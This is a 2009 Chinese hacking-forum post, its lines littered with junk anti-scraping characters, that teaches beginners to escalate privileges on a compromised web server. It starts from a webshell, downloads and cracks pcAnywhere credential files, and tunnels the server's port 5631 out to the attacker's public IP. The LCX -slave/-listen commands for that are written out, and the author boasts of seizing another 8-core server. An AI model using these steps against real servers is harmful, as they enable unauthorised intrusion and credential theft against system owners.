|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。$ O1 |. l o: z) h% ~- T, u
0 L! s/ y, ?9 _5 X6 b提权方法：pcanywhere+LCX0 X: [0 x6 P5 {. H7 E+ g0 a& Q
0 e$ @- @. c1 j8 H; X0 V获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。; V. F' `* j5 U. x* }5 F' B2 Q
4 r' [7 i5 _6 v, X, H) Q
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。+ s% Z* e& v" S' @+ p
# A, G+ ^/ j8 u
5 F* L/ J; \. P
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
( v: H( q: R" Z. B Q5 }$ z& U6 h& D- f, M! t1 I" g
! f, D7 R3 g' @' j Y
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
# L% T9 S- Y, j' v. j5 V$ M$ F3 B" Y! j \0 p+ |$ k
+ e. l! V- N" F j; t/ f8 w0 h' q) S/ j; G
3 Q9 }& {9 J' f& [* Z; r0 m
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
* J1 C& H0 c( i \$ a( ^
4 U- B, u* X/ C% O# ?3 @' s2 u1 m* `) U1 O: s% I4 r
LCX的用法再简单说下：" ~, N6 O4 _8 P3 l0 J9 \8 [+ R
# c2 C0 C$ z" J2 U: V
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）. c" F0 I$ [* q G$ _5 G
& E8 H0 g- N* r9 x2 c# R本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）" C' d, k6 f, F- \
' J1 Z0 K5 P7 m0 h" r) N9 W5 j
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。" g R0 F! M' }% t9 g! ^6 S
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
( c+ W4 K$ y8 O, X/ z; G! @& V
! I* N# W, M1 r9 U( N3 L. \
# [3 Y+ p# q# h) u2 s" A h* [0 i6 V) Z! s; m
2 A! c9 ^' y& I" i
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
# k; K. | ^/ P; y* ~; r( }& G9 e W* h2 g/ i( ^& p4 ?( c
( q) u( E: |# N
/ X! k5 j" t4 Y: y7 x. o$ p
% B9 [0 v7 r# D1 D我们本地连接试试，输入我们刚破解的账号密码% S& L T" s: l R6 |
7 {: {5 U5 [2 J% I; T; F. c3 ^
' a9 O" t7 e6 k1 S8 g/ T4 `' X. M# j呵呵``连接成功,服务器不错，又一个8核^︵^
9 P r- d9 E3 {) a/ \3 a5 S& j
4 I! K: g# L: H( ?2 O5 [1 N* k) }# o2 z8 ]2 c+ M S
& ~, G; ]8 h6 L/ I* k+ n% @3 y6 Y |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
